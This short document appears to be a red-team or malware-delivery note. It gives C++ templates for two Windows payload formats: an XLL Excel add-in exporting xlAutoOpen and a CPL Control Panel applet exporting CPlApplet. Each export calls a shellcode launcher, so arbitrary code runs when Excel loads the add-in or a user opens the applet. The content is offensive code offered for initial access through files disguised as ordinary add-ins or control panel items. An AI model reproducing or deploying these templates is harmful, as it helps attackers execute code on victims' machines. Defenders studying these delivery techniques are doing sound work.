
## XLL

### Target

- XLL is a DLL that exposes `xlAutoOpen` export.

### Example

```cpp

extern "C" {
	__declspec(dllexport) int CALLBACK xlAutoOpen(void)
    {
        LaunchMyShellcode();
        return 1;
    }
}
```


## CPL

### Target

- CPL is a DLL that exposes `CPlApplet` export.

### Example

```cpp

extern "C" {
	__declspec (dllexport) LONG CALLBACK CPlApplet(HWND hwndCpl, UINT msg, LPARAM lParam1, LPARAM lParam2)
    {
        LaunchMyShellcode();
        return 1;
    }
}
```

